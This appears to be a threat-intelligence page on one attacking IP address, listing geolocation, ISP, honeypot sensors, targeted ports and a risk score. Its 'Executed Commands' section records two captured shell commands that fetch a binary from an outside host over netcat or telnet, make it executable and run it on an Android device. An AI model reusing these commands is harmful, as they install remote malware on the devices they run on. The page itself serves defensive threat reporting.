⚠TROYANOSYVIRUS
Active Threat • HIGH

204.76.203.214

Country of Origin🇳🇱 Netherlands
First Detection12/31/2025
Last Activity1/5/2026
ISPPfcloud UG (haftungsbeschrankt)
🎯
142
Total Attacks
🔌
11
Ports
📡
5
Attack Types
🦠
0
Malware

Geolocation

Country
🇳🇱 Netherlands
City
Eygelshoven
ASN
AS51396
ISP
Pfcloud UG (haftungsbeschrankt)

Attack Types

honeytrap
tanner
h0neytr4p
adbhoney
dionaea

Attacked Ports

60001345671700045678808180815555603644356575

Associated Malware

No associated malware

Executed Commands

$cd /data/local/tmp; (nc 130.12.180.126 1223 || toybox nc 130.12.180.126 1223 || busybox nc 130.12.180.126 1223 || busybox1.11 nc 130.12.180.126 1223 || busybox telnet 130.12.180.126 1223) > meow; chmod 777 meow; ./meow4x
$cd /data/local/tmp; su root; rm -rf instd; (toybox nc 130.12.180.126 1223 || busybox nc 130.12.180.126 1223) > instd; chmod 777 instd; ./instd3x

Risk Assessment

72
/100
LowMediumHighCritical